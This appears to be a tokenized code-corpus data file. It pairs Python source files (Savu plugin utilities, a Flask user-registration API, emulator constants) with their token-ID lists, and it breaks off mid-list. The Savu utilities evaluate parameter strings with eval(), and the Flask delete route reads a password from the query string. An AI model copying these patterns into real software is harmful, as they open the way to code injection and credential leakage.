1678,
1583,
29889,
2764,
29918,
2557,
353,
1583,
29889,
16744,
29889,
657,
25098,
703,
2962,
29918,
2557,
1159,
448,
29871,
29896,
13,
308,
13,
4706,
396,
11479,
714,
988,
304,
5040,
29889,
13,
4706,
1583,
29889,
3317,
29918,
2557,
353,
1583,
29889,
27362,
29918,
29880,
13,
4706,
565,
1583,
29889,
16744,
29889,
5349,
25098,
703,
3317,
29918,
2557,
29908,
1125,
13,
9651,
565,
313,
1311,
29889,
16744,
29889,
657,
25098,
703,
3317,
29918,
2557,
1159,
1405,
29871,
29900,
1125,
13,
18884,
565,
313,
1311,
29889,
16744,
29889,
657,
25098,
703,
3317,
29918,
2557,
1159,
529,
1583,
29889,
27362,
29918,
29880,
1125,
13,
462,
1678,
1583,
29889,
3317,
29918,
2557,
353,
1583,
29889,
16744,
29889,
657,
25098,
703,
3317,
29918,
2557,
1159,
13,
13,
4706,
396,
1281,
4532,
3239,
4844,
1061,
29892,
565,
738,
29889,
13,
4706,
565,
313,
1311,
29889,
16744,
29889,
657,
25098,
703,
7959,
29918,
7042,
29918,
342,
6490,
613,
29871,
29900,
29897,
1405,
29871,
29900,
1125,
13,
9651,
1596,
703,
15156,
2294,
3239,
4844,
1061,
23157,
13,
9651,
269,
29918,
2311,
353,
1583,
29889,
16744,
29889,
657,
25098,
703,
7959,
29918,
7042,
29918,
342,
6490,
1159,
13,
9651,
1583,
29889,
16264,
29918,
342,
326,
1061,
353,
2294,
29918,
7042,
29889,
17046,
29933,
1692,
303,
326,
1061,
29898,
1311,
29889,
2557,
29918,
16950,
29892,
13,
462,
462,
462,
462,
1678,
1369,
29918,
2557,
353,
1583,
29889,
2764,
29918,
2557,
29892,
13,
462,
462,
462,
462,
1678,
4559,
29918,
2311,
353,
269,
29918,
2311,
29897,
13,
2
] |
lewis_emulators/neocera_ltc21/constants.py | ISISComputingGroup/EPICS-DeviceEmulator | 2 | 166595 | <reponame>ISISComputingGroup/EPICS-DeviceEmulator
"""
Constants associated with the NEOCERA.
"""
# Index in the arrays of the heater output
HEATER_INDEX = 0
# Index in the arrays of the analog output
ANALOG_INDEX = 1
# Minimum allowed output control type for the output index (see self.control)
CONTROL_TYPE_MIN = [0, 3]
# Maximum allowed output control type for the output index (see self.control)
CONTROL_TYPE_MAX = [5, 6]
| [
1,
529,
276,
1112,
420,
29958,
3235,
3235,
20606,
292,
4782,
29914,
29923,
2227,
9295,
29899,
11501,
6026,
9183,
13,
15945,
29908,
13,
26570,
6942,
411,
278,
14693,
20166,
1001,
29909,
29889,
13,
15945,
29908,
13,
13,
29937,
11374,
297,
278,
7049,
310,
278,
540,
1008,
1962,
13,
9606,
1299,
1001,
29918,
27992,
353,
29871,
29900,
13,
13,
29937,
11374,
297,
278,
7049,
310,
278,
15690,
1962,
13,
2190,
1964,
29949,
29954,
29918,
27992,
353,
29871,
29896,
13,
13,
29937,
3080,
12539,
6068,
1962,
2761,
1134,
363,
278,
1962,
2380,
313,
4149,
1583,
29889,
6451,
29897,
13,
22412,
1672,
29931,
29918,
11116,
29918,
16173,
353,
518,
29900,
29892,
29871,
29941,
29962,
13,
13,
29937,
5918,
12539,
6068,
1962,
2761,
1134,
363,
278,
1962,
2380,
313,
4149,
1583,
29889,
6451,
29897,
13,
22412,
1672,
29931,
29918,
11116,
29918,
12648,
353,
518,
29945,
29892,
29871,
29953,
29962,
13,
2
] |
project1/srv/api/user.py | mission-liao/flask_template | 0 | 121733 | from __future__ import absolute_import
from flask import Blueprint, request, jsonify
from flask.views import MethodView
from flask.ext.login import login_user, logout_user, login_required, current_user
from sqlalchemy.exc import IntegrityError
from ..api import sql, app
from ..utils import hash_password
from ...srv import model
resource_user = Blueprint('user', __name__)
class UserView(MethodView):
""" User resource
"""
def post(self):
""" submit function to create new user.
"""
status_code = 200
err = ''
# create User object
# TODO: input validation
u = model.Users(
email=request.form['email'],
password=<PASSWORD>_password(request.form['password'], app.secret_key)
)
sql.session.add(u)
try:
sql.session.commit()
except IntegrityError:
# the email already used
sql.session.rollback()
# error code for conflict
status_code = 409
err = "this email already exists"
if err == '':
# perform login when new account created
login_user(u)
return jsonify(id=u.id, error=err), status_code
@login_required
def delete(self):
""" delete user """
# TODO: should we allow user to be deleted?
# make sure that user exists
q = sql.session.query(model.Users).filter(model.Users.email == current_user.email)
if q.count() == 0:
return '', 404
u = q.first()
# make sure password ok
if hash_password(request.args.get('password'), app.secret_key) != u.password:
return '', 401
logout_user()
# delete User
sql.session.delete(u)
sql.session.commit()
return '', 200
resource_user.add_url_rule('/r/user/', view_func=UserView.as_view('res-user'), methods=['GET', 'POST', 'DELETE'])
| [
1,
515,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
29784,
1053,
10924,
2158,
29892,
2009,
29892,
4390,
1598,
13,
3166,
29784,
29889,
7406,
1053,
8108,
1043,
13,
3166,
29784,
29889,
1062,
29889,
7507,
1053,
6464,
29918,
1792,
29892,
1480,
449,
29918,
1792,
29892,
6464,
29918,
12403,
29892,
1857,
29918,
1792,
13,
3166,
4576,
284,
305,
6764,
29889,
735,
29883,
1053,
17100,
537,
2392,
13,
3166,
6317,
2754,
1053,
4576,
29892,
623,
13,
3166,
6317,
13239,
1053,
6608,
29918,
5630,
13,
3166,
2023,
29879,
15291,
1053,
1904,
13,
13,
13,
10314,
29918,
1792,
353,
10924,
2158,
877,
1792,
742,
4770,
978,
1649,
29897,
13,
13,
13,
1990,
4911,
1043,
29898,
4062,
1043,
1125,
13,
1678,
9995,
4911,
6503,
13,
1678,
9995,
13,
13,
1678,
822,
1400,
29898,
1311,
1125,
13,
4706,
9995,
9752,
740,
304,
1653,
716,
1404,
29889,
13,
4706,
9995,
13,
4706,
4660,
29918,
401,
353,
29871,
29906,
29900,
29900,
13,
4706,
4589,
353,
6629,
13,
4706,
396,
1653,
4911,
1203,
13,
4706,
396,
14402,
29901,
1881,
8845,
13,
4706,
318,
353,
1904,
29889,
5959,
29898,
13,
9651,
4876,
29922,
3827,
29889,
689,
1839,
5269,
7464,
13,
9651,
4800,
29922,
29966,
25711,
17013,
29958,
29918,
5630,
29898,
3827,
29889,
689,
1839,
5630,
7464,
623,
29889,
19024,
29918,
1989,
29897,
13,
4706,
1723,
13,
13,
4706,
4576,
29889,
7924,
29889,
1202,
29898,
29884,
29897,
13,
4706,
1018,
29901,
13,
9651,
4576,
29889,
7924,
29889,
15060,
580,
13,
4706,
5174,
17100,
537,
2392,
29901,
13,
9651,
396,
278,
4876,
2307,
1304,
13,
9651,
4576,
29889,
7924,
29889,
1245,
1627,
580,
13,
13,
9651,
396,
1059,
775,
363,
14529,
13,
9651,
4660,
29918,
401,
353,
29871,
29946,
29900,
29929,
13,
9651,
4589,
353,
376,
1366,
4876,
2307,
4864,
29908,
13,
13,
4706,
565,
4589,
1275,
525,
2396,
13,
9651,
396,
2189,
6464,
746,
716,
3633,
2825,
13,
9651,
6464,
29918,
1792,
29898,
29884,
29897,
13,
13,
4706,
736,
4390,
1598,
29898,
333,
29922,
29884,
29889,
333,
29892,
1059,
29922,
3127,
511,
4660,
29918,
401,
13,
13,
1678,
732,
7507,
29918,
12403,
13,
1678,
822,
5217,
29898,
1311,
1125,
13,
4706,
9995,
5217,
1404,
9995,
13,
4706,
396,
14402,
29901,
881,
591,
2758,
1404,
304,
367,
11132,
29973,
13,
4706,
396,
1207,
1854,
393,
1404,
4864,
13,
4706,
3855,
353,
4576,
29889,
7924,
29889,
1972,
29898,
4299,
29889,
5959,
467,
4572,
29898,
4299,
29889,
5959,
29889,
5269,
1275,
1857,
29918,
1792,
29889,
5269,
29897,
13,
4706,
565,
3855,
29889,
2798,
580,
1275,
29871,
29900,
29901,
13,
9651,
736,
15516,
29871,
29946,
29900,
29946,
13,
13,
4706,
318,
353,
3855,
29889,
4102,
580,
13,
13,
4706,
396,
1207,
1854,
4800,
3431,
13,
4706,
565,
6608,
29918,
5630,
29898,
3827,
29889,
5085,
29889,
657,
877,
5630,
5477,
623,
29889,
19024,
29918,
1989,
29897,
2804,
318,
29889,
5630,
29901,
13,
9651,
736,
15516,
29871,
29946,
29900,
29896,
13,
13,
4706,
1480,
449,
29918,
1792,
580,
13,
13,
4706,
396,
5217,
4911,
13,
4706,
4576,
29889,
7924,
29889,
8143,
29898,
29884,
29897,
13,
4706,
4576,
29889,
7924,
29889,
15060,
580,
13,
13,
4706,
736,
15516,
29871,
29906,
29900,
29900,
13,
13,
13,
10314,
29918,
1792,
29889,
1202,
29918,
2271,
29918,
7491,
11219,
29878,
29914,
1792,
29914,
742,
1776,
29918,
9891,
29922,
2659,
1043,
29889,
294,
29918,
1493,
877,
690,
29899,
1792,
5477,
3519,
29922,
1839,
7194,
742,
525,
5438,
742,
525,
2287,
18476,
11287,
13,
13,
2
] |
savu/plugins/utils.py | elainehoml/Savu | 39 | 147875 | <filename>savu/plugins/utils.py
# Copyright 2014 Diamond Light Source Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
.. module:: utils
:platform: Unix
:synopsis: Utilities for plugin management
.. moduleauthor:: <NAME> <<EMAIL>>
"""
import os
import re
import sys
import ast
import logging
import savu
import importlib
import inspect
import itertools
from collections import OrderedDict
import numpy as np
from savu.plugins.loaders.utils.my_safe_constructor import MySafeConstructor
# can I remove these from here?
load_tools = {}
plugins = {}
plugins_path = {}
dawn_plugins = {}
count = 0
OUTPUT_TYPE_DATA_ONLY = 0
OUTPUT_TYPE_METADATA_ONLY = 1
OUTPUT_TYPE_METADATA_AND_DATA = 2
def register_plugin(clazz):
"""decorator to add plugins to a central register"""
plugins[clazz.__name__] = clazz
if clazz.__module__.split(".")[0] != "savu":
plugins_path[clazz.__name__] = clazz.__module__
return clazz
def dawn_compatible(plugin_output_type=OUTPUT_TYPE_METADATA_AND_DATA):
def _dawn_compatible(clazz):
"""
decorator to add dawn compatible plugins and details to a central
register
"""
dawn_plugins[clazz.__name__] = {}
try:
plugin_path = sys.modules[clazz.__module__].__file__
# looks out for .pyc files
dawn_plugins[clazz.__name__]['path2plugin'] = plugin_path.split('.py')[0] + '.py'
dawn_plugins[clazz.__name__]['plugin_output_type'] = _plugin_output_type
except Exception as e:
print(e)
return clazz
# for backwards compatibility, if decorator is invoked without brackets...
if inspect.isclass(plugin_output_type):
_plugin_output_type = OUTPUT_TYPE_METADATA_AND_DATA
return _dawn_compatible(plugin_output_type)
else:
_plugin_output_type = plugin_output_type
return _dawn_compatible
def get_plugin(plugin_name, params, exp, check=False):
"""Get an instance of the plugin class and populate default parameters.
:param plugin_name: Name of the plugin to import
:type plugin_name: str.
:returns: An instance of the class described by the named plugin.
"""
logging.debug("Importing the module %s", plugin_name)
instance = load_class(plugin_name)()
instance.initialise(params, exp, check=check)
return instance
def _get_cls_name(name):
return "".join(x.capitalize() for x in name.split(".")[-1].split("_"))
def load_class(name, cls_name=None):
"""Returns an instance of the class associated with the module name.
:param name: Module name or path to a module file
:returns: An instance of the class associated with module.
"""
path = name if os.path.dirname(name) else None
name = os.path.basename(os.path.splitext(name)[0]) if path else name
cls_name = _get_cls_name(name) if not cls_name else cls_name
if cls_name in plugins.keys():
return plugins[cls_name]
if path:
mod = importlib.machinery.SourceFileLoader(name, path).load_module()
else:
mod = importlib.import_module(name)
return getattr(mod, cls_name)
def plugin_loader(exp, plugin_dict, check=False):
logging.debug("Running plugin loader")
try:
plugin = get_plugin(plugin_dict['id'],
plugin_dict['data'],
exp,
check=check)
except Exception as e:
logging.error("failed to load the plugin")
logging.error(e)
# re-raise the original error
raise
if check:
exp.meta_data.plugin_list._set_datasets_list(plugin)
logging.debug("finished plugin loader")
return plugin
def get_tools_class(plugin_tools_id, cls=None):
"""Load the plugin tools class
:param plugin_tools_id: plugin tools module name
:param cls: Class to initialise
:return:
"""
if plugin_tools_id == "savu.plugins.plugin_tools":
plugin_tools_id = "savu.plugins.base_tools"
if cls:
return load_class(plugin_tools_id)(cls)
else:
return load_class(plugin_tools_id)
def get_plugins_paths(examples=True):
"""
This gets the plugin paths, but also adds any that are not on the
pythonpath to it.
"""
plugins_paths = OrderedDict()
# Add the savu plugins paths first so it is overridden by user folders
savu_plugins_path = os.path.join(savu.__path__[0], 'plugins')
savu_plugins_subpaths = [d for d in next(os.walk(savu_plugins_path))[1] \
if d != "__pycache__"]
for path in savu_plugins_subpaths:
plugins_paths[os.path.join(savu_plugins_path, path)] = \
''.join(['savu.plugins.', path, '.'])
# get user, environment and example plugin paths
user_path = [os.path.join(os.path.expanduser("~"), "savu_plugins")]
env_paths = os.getenv("SAVU_PLUGINS_PATH", "").replace(" ", "").split(":")
templates = "../examples/plugin_examples/plugin_templates"
eg_path = [os.path.join(savu.__path__[0], templates)] if examples else []
for ppath in env_paths + user_path + eg_path:
if os.path.exists(ppath):
plugins_paths[ppath] = os.path.basename(ppath) + "."
if ppath not in sys.path:
sys.path.append(os.path.dirname(ppath))
return plugins_paths
def is_template_param(param):
"""Identifies if the parameter should be included in an input template
and returns the default value of the parameter if it exists.
"""
start = 0
ptype = "local"
if isinstance(param, str):
param = param.strip()
if not param.split("global")[0]:
ptype = "global"
start = 6
first, last = param[start], param[-1]
if first == "<" and last == ">":
param = param[start + 1 : -1]
param = None if not param else param
try:
param = eval(param)
except:
pass
return [ptype, param]
return False
def blockPrint():
""" Disable printing to stdout """
import tempfile
fname = tempfile.mkdtemp() + "/unwanted_prints.txt"
sys.stdout = open(fname, "w")
def enablePrint():
""" Enable printing to stdout """
sys.stdout = sys.__stdout__
def parse_config_string(string):
regex = r"[\[\]\, ]+"
split_vals = [_f for _f in re.split(regex, string) if _f]
delimitors = re.findall(regex, string)
split_vals = [repr(a.strip()) for a in split_vals]
zipped = itertools.zip_longest(delimitors, split_vals)
string = "".join([i for l in zipped for i in l if i is not None])
try:
return ast.literal_eval(string)
except ValueError:
return ast.literal_eval(parse_array_index_as_string(string))
def parse_array_index_as_string(string):
p = re.compile(r"'\['")
for m in p.finditer(string):
offset = m.start() - count + 3
end = string[offset:].index("']") + offset
string = string[:end] + "]'" + string[end + 2 :]
string = string.replace("'['", "[")
return string
def param_to_str(param_name, keys):
"""Check the parameter is within the provided list and
return the string name.
"""
if param_name.isdigit():
param_name = int(param_name)
if param_name <= len(keys):
param_name = keys[param_name - 1]
else:
raise ValueError(
"This parameter number is not valid for this plugin"
)
elif param_name not in keys:
raise Exception("This parameter is not present in this plug in.")
return param_name
def set_order_by_visibility(parameters, level=False):
"""Return an ordered list of parameters depending on the
visibility level
:param parameters: The dictionary of parameters
:param level: The visibility level
:return: An ordered list of parameters
"""
data_keys = []
basic_keys = []
interm_keys = []
adv_keys = []
for k, v in parameters.items():
if v["display"] == "on":
if v["visibility"] == "datasets":
data_keys.append(k)
if v["visibility"] == "basic":
basic_keys.append(k)
if v["visibility"] == "intermediate":
interm_keys.append(k)
if v["visibility"] == "advanced":
adv_keys.append(k)
if level:
if level == "datasets":
keys = data_keys
elif level == "basic":
keys = basic_keys
elif level == "intermediate":
keys = basic_keys + interm_keys + data_keys
elif level == "advanced":
keys = basic_keys + interm_keys + adv_keys + data_keys
else:
keys = basic_keys + interm_keys + adv_keys + data_keys
else:
keys = basic_keys + interm_keys + adv_keys + data_keys
return keys
def convert_multi_params(param_name, value):
"""Check if value is a multi parameter and check if each item is valid.
Change from the input multi parameter string to a list
:param param_name: Name of the parameter
:param value: Parameter value
:return: List or unchanged value
"""
error_str = ""
multi_parameters = (
isinstance(value, str) and (";" in value) and param_name != "preview"
)
if multi_parameters:
value = value.split(";")
isdict = re.findall(r"[\{\}]+", value[0])
if ":" in value[0] and not isdict:
seq = value[0].split(":")
try:
seq = [ast.literal_eval(s) for s in seq]
if len(value) == 0:
error_str = (
f"No values for tuned parameter "
f"'{param_name}' ensure start:stop:step; values "
f"are valid"
)
elif len(seq) == 2:
value = list(np.arange(seq[0], seq[1]))
elif len(seq) > 2:
value = list(np.arange(seq[0], seq[1], seq[2]))
else:
error_str = "Ensure start:stop:step; values are valid."
if not value:
# Don't allow an empty list
raise ValueError
except:
error_str = "Ensure start:stop:step; values are valid."
val_list = (
parse_config_string(value) if isinstance(value, str) else value
)
# Remove blank list entries
# Change type to int, float or str
val_list = [_dumps(val) for val in value if val]
value = val_list
return value, error_str
def _dumps(val):
"""Replace any missing quotes around variables
Change the string to an integer, float, tuple, list, str, dict
"""
import yaml
# Prevent conversion from on/off to boolean
yaml.SafeLoader.add_constructor(
"tag:yaml.org,2002:bool", MySafeConstructor.add_bool
)
if isinstance(val, str):
try:
# Safely evaluate an expression node or a string containing
# a Python literal or container display
value = ast.literal_eval(val)
return value
except Exception:
pass
try:
isdict = re.findall(r"[\{\}]+", val)
val = _sexagesimal_check(val, isdict, remove=False)
value = yaml.safe_load(val)
return _sexagesimal_check(value, isdict)
except Exception:
val = _sexagesimal_check(val, isdict)
pass
try:
isdict = re.findall(r"[\{\}]+", val)
# Matches { } between one and unlimited number of times
if isdict:
if isinstance(val, dict):
value_dict = {}
for k, v in val.items():
v = v.replace("[", "'[").replace("]", "]'")
value_dict[k] = _dumps(
yaml.safe_load(v)
)
return value_dict
else:
value = val.replace("[", "'[").replace("]", "]'")
return _dumps(yaml.safe_load(value))
else:
value = parse_config_string(val)
return value
except Exception:
if len(val.split(";")) > 1:
value = val
return value
else:
raise Exception("Invalid string %s" % val)
else:
value = val
return value
def _sexagesimal_check(val, isdict, remove=True):
"""To avoid sexagesimal values being evaluated, replace colon
values temporarily
:param val:
:param isdict: True if braces {} found
:return: value
"""
if isinstance(val, str) and not isdict:
if remove:
val = val.replace(":?", ":")
else:
val = val.replace(":", ":?")
return val
def check_valid_dimension(dim, prev_list):
"""Check the dimension is within the correct range"""
if not 0 < dim < 21:
raise Exception("Please use a dimension between 1 and 20.")
if prev_list and (dim > len(prev_list)):
raise Exception(
"You have not specified enough dimensions "
"inside the preview parameter."
)
return True
def is_slice_notation(value):
"""Return True if the value is made up of multiple"""
return isinstance(value, str) and (":" in value)
def create_dir(file_path):
"""Check if directories provided exist at this file path. If they don't
create the directories.
"""
directory = os.path.dirname(file_path)
if not os.path.exists(directory):
os.makedirs(directory)
def indent_multi_line_str(text, indent_level=1, justify=False):
text = text.split("\n")
# Remove additional spacing on the left side so that text aligns
if justify is False:
text = [(" " * 4 * indent_level) + line for line in text]
else:
text = [(" " * 4 * indent_level) + line.lstrip() for line in text]
text = "\n".join(text)
return text
def indent(text, indent_level=1):
text = (" " * 4 * indent_level) + text
return text
def sort_alphanum(_list):
"""Sort list numerically and alphabetically
*While maintaining original list value types*
:param _list: Input list to be sorted
:return: List sorted by number and letter alphabetically
"""
return sorted(_list, key=_alphanum)
def _str_to_int(_str):
"""Convert the input str to an int if possible
:param _str: input string
:return: integer if text is a digit, else string
"""
return int(_str) if _str.isdigit() else _str
def _alphanum(_str):
"""Split string into numbers and letters
:param _str:
:return: list of numbers and letters
"""
char_list = re.split("([0-9]+)", _str)
return [_str_to_int(c) for c in char_list]
| [
1,
529,
9507,
29958,
29879,
485,
29884,
29914,
12800,
29914,
13239,
29889,
2272,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29946,
22904,
898,
12790,
7562,
19806,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
15945,
29908,
13,
636,
3883,
1057,
3667,
29879,
13,
259,
584,
12120,
29901,
26663,
13,
259,
584,
19274,
15368,
29901,
22310,
1907,
363,
7079,
10643,
13,
13,
636,
3883,
8921,
1057,
529,
5813,
29958,
3532,
26862,
6227,
6778,
13,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
5215,
337,
13,
5215,
10876,
13,
5215,
8717,
13,
5215,
12183,
13,
5215,
4048,
29884,
13,
5215,
1053,
1982,
13,
5215,
16096,
13,
5215,
4256,
8504,
13,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
5215,
12655,
408,
7442,
13,
13,
3166,
4048,
29884,
29889,
12800,
29889,
1359,
414,
29889,
13239,
29889,
1357,
29918,
11177,
29918,
27821,
1053,
1619,
17618,
1725,
23770,
13,
13,
29937,
508,
306,
3349,
1438,
515,
1244,
29973,
13,
13,
1359,
29918,
8504,
353,
6571,
13,
12800,
353,
6571,
13,
12800,
29918,
2084,
353,
6571,
13,
25516,
29918,
12800,
353,
6571,
13,
2798,
353,
29871,
29900,
13,
13,
12015,
12336,
29918,
11116,
29918,
14573,
29918,
1164,
16786,
353,
29871,
29900,
13,
12015,
12336,
29918,
11116,
29918,
2303,
29911,
3035,
8254,
29918,
1164,
16786,
353,
29871,
29896,
13,
12015,
12336,
29918,
11116,
29918,
2303,
29911,
3035,
8254,
29918,
9468,
29918,
14573,
353,
29871,
29906,
13,
13,
13,
1753,
6036,
29918,
8582,
29898,
16398,
5617,
1125,
13,
1678,
9995,
19557,
1061,
304,
788,
18224,
304,
263,
6555,
6036,
15945,
29908,
13,
1678,
18224,
29961,
16398,
5617,
17255,
978,
1649,
29962,
353,
3711,
5617,
13,
1678,
565,
3711,
5617,
17255,
5453,
26914,
5451,
17350,
1159,
29961,
29900,
29962,
2804,
376,
29879,
485,
29884,
1115,
13,
4706,
18224,
29918,
2084,
29961,
16398,
5617,
17255,
978,
1649,
29962,
353,
3711,
5617,
17255,
5453,
1649,
13,
1678,
736,
3711,
5617,
13,
13,
13,
1753,
27470,
29918,
23712,
29898,
8582,
29918,
4905,
29918,
1853,
29922,
12015,
12336,
29918,
11116,
29918,
2303,
29911,
3035,
8254,
29918,
9468,
29918,
14573,
1125,
13,
1678,
822,
903,
25516,
29918,
23712,
29898,
16398,
5617,
1125,
13,
4706,
9995,
13,
4706,
10200,
1061,
304,
788,
27470,
15878,
18224,
322,
4902,
304,
263,
6555,
13,
4706,
6036,
13,
4706,
9995,
13,
4706,
27470,
29918,
12800,
29961,
16398,
5617,
17255,
978,
1649,
29962,
353,
6571,
13,
4706,
1018,
29901,
13,
9651,
7079,
29918,
2084,
353,
10876,
29889,
7576,
29961,
16398,
5617,
17255,
5453,
1649,
1822,
1649,
1445,
1649,
13,
9651,
396,
3430,
714,
363,
869,
2272,
29883,
2066,
13,
9651,
27470,
29918,
12800,
29961,
16398,
5617,
17255,
978,
1649,
22322,
2084,
29906,
8582,
2033,
353,
7079,
29918,
2084,
29889,
5451,
12839,
2272,
29861,
29900,
29962,
718,
15300,
2272,
29915,
13,
9651,
27470,
29918,
12800,
29961,
16398,
5617,
17255,
978,
1649,
22322,
8582,
29918,
4905,
29918,
1853,
2033,
353,
903,
8582,
29918,
4905,
29918,
1853,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
4706,
736,
3711,
5617,
13,
13,
1678,
396,
363,
28953,
24521,
29892,
565,
10200,
1061,
338,
22336,
1728,
20476,
856,
13,
1678,
565,
16096,
29889,
275,
1990,
29898,
8582,
29918,
4905,
29918,
1853,
1125,
13,
4706,
903,
8582,
29918,
4905,
29918,
1853,
353,
19474,
12336,
29918,
11116,
29918,
2303,
29911,
3035,
8254,
29918,
9468,
29918,
14573,
13,
4706,
736,
903,
25516,
29918,
23712,
29898,
8582,
29918,
4905,
29918,
1853,
29897,
13,
1678,
1683,
29901,
13,
4706,
903,
8582,
29918,
4905,
29918,
1853,
353,
7079,
29918,
4905,
29918,
1853,
13,
4706,
736,
903,
25516,
29918,
23712,
13,
13,
13,
1753,
679,
29918,
8582,
29898,
8582,
29918,
978,
29892,
8636,
29892,
1518,
29892,
1423,
29922,
8824,
1125,
13,
1678,
9995,
2577,
385,
2777,
310,
278,
7079,
770,
322,
19450,
2322,
4128,
29889,
13,
13,
1678,
584,
3207,
7079,
29918,
978,
29901,
4408,
310,
278,
7079,
304,
1053,
13,
1678,
584,
1853,
7079,
29918,
978,
29901,
851,
29889,
13,
1678,
584,
18280,
29901,
29871,
530,
2777,
310,
278,
770,
5439,
491,
278,
4257,
7079,
29889,
13,
1678,
9995,
13,
1678,
12183,
29889,
8382,
703,
17518,
292,
278,
3883,
1273,
29879,
613,
7079,
29918,
978,
29897,
13,
1678,
2777,
353,
2254,
29918,
1990,
29898,
8582,
29918,
978,
29897,
580,
13,
1678,
2777,
29889,
11228,
895,
29898,
7529,
29892,
1518,
29892,
1423,
29922,
3198,
29897,
13,
1678,
736,
2777,
13,
13,
13,
1753,
903,
657,
29918,
25932,
29918,
978,
29898,
978,
1125,
13,
1678,
736,
376,
1642,
7122,
29898,
29916,
29889,
5030,
2410,
675,
580,
363,
921,
297,
1024,
29889,
5451,
17350,
1159,
14352,
29896,
1822,
5451,
703,
29918,
5783,
13,
13,
13,
1753,
2254,
29918,
1990,
29898,
978,
29892,
1067,
29879,
29918,
978,
29922,
8516,
1125,
13,
1678,
9995,
11609,
29879,
385,
2777,
310,
278,
770,
6942,
411,
278,
3883,
1024,
29889,
13,
13,
1678,
584,
3207,
1024,
29901,
15591,
1024,
470,
2224,
304,
263,
3883,
934,
13,
1678,
584,
18280,
29901,
530,
2777,
310,
278,
770,
6942,
411,
3883,
29889,
13,
1678,
9995,
13,
1678,
2224,
353,
1024,
565,
2897,
29889,
2084,
29889,
25721,
29898,
978,
29897,
1683,
6213,
13,
1678,
1024,
353,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
359,
29889,
2084,
29889,
23579,
568,
486,
29898,
978,
9601,
29900,
2314,
565,
2224,
1683,
1024,
13,
1678,
1067,
29879,
29918,
978,
353,
903,
657,
29918,
25932,
29918,
978,
29898,
978,
29897,
565,
451,
1067,
29879,
29918,
978,
1683,
1067,
29879,
29918,
978,
13,
1678,
565,
1067,
29879,
29918,
978,
297,
18224,
29889,
8149,
7295,
13,
4706,
736,
18224,
29961,
25932,
29918,
978,
29962,
13,
1678,
565,
2224,
29901,
13,
4706,
878,
353,
1053,
1982,
29889,
29885,
496,
262,
708,
29889,
4435,
2283,
10036,
29898,
978,
29892,
2224,
467,
1359,
29918,
5453,
580,
13,
1678,
1683,
29901,
13,
4706,
878,
353,
1053,
1982,
29889,
5215,
29918,
5453,
29898,
978,
29897,
13,
1678,
736,
679,
5552,
29898,
1545,
29892,
1067,
29879,
29918,
978,
29897,
13,
13,
13,
1753,
7079,
29918,
12657,
29898,
4548,
29892,
7079,
29918,
8977,
29892,
1423,
29922,
8824,
1125,
13,
1678,
12183,
29889,
8382,
703,
27795,
7079,
23466,
1159,
13,
1678,
1018,
29901,
13,
4706,
7079,
353,
679,
29918,
8582,
29898,
8582,
29918,
8977,
1839,
333,
7464,
13,
462,
9651,
7079,
29918,
8977,
1839,
1272,
7464,
13,
462,
9651,
1518,
29892,
13,
462,
9651,
1423,
29922,
3198,
29897,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
12183,
29889,
2704,
703,
26061,
304,
2254,
278,
7079,
1159,
13,
4706,
12183,
29889,
2704,
29898,
29872,
29897,
13,
4706,
396,
337,
29899,
22692,
278,
2441,
1059,
13,
4706,
12020,
13,
13,
1678,
565,
1423,
29901,
13,
4706,
1518,
29889,
7299,
29918,
1272,
29889,
8582,
29918,
1761,
3032,
842,
29918,
14538,
1691,
29918,
1761,
29898,
8582,
29897,
13,
13,
1678,
12183,
29889,
8382,
703,
4951,
3276,
7079,
23466,
1159,
13,
1678,
736,
7079,
13,
13,
13,
1753,
679,
29918,
8504,
29918,
1990,
29898,
8582,
29918,
8504,
29918,
333,
29892,
1067,
29879,
29922,
8516,
1125,
13,
1678,
9995,
5896,
278,
7079,
8492,
770,
13,
13,
1678,
584,
3207,
7079,
29918,
8504,
29918,
333,
29901,
7079,
8492,
3883,
1024,
13,
1678,
584,
3207,
1067,
29879,
29901,
4134,
304,
2847,
895,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
565,
7079,
29918,
8504,
29918,
333,
1275,
376,
29879,
485,
29884,
29889,
12800,
29889,
8582,
29918,
8504,
1115,
13,
4706,
7079,
29918,
8504,
29918,
333,
353,
376,
29879,
485,
29884,
29889,
12800,
29889,
3188,
29918,
8504,
29908,
13,
1678,
565,
1067,
29879,
29901,
13,
4706,
736,
2254,
29918,
1990,
29898,
8582,
29918,
8504,
29918,
333,
5033,
25932,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
2254,
29918,
1990,
29898,
8582,
29918,
8504,
29918,
333,
29897,
13,
13,
13,
1753,
679,
29918,
12800,
29918,
24772,
29898,
19057,
29922,
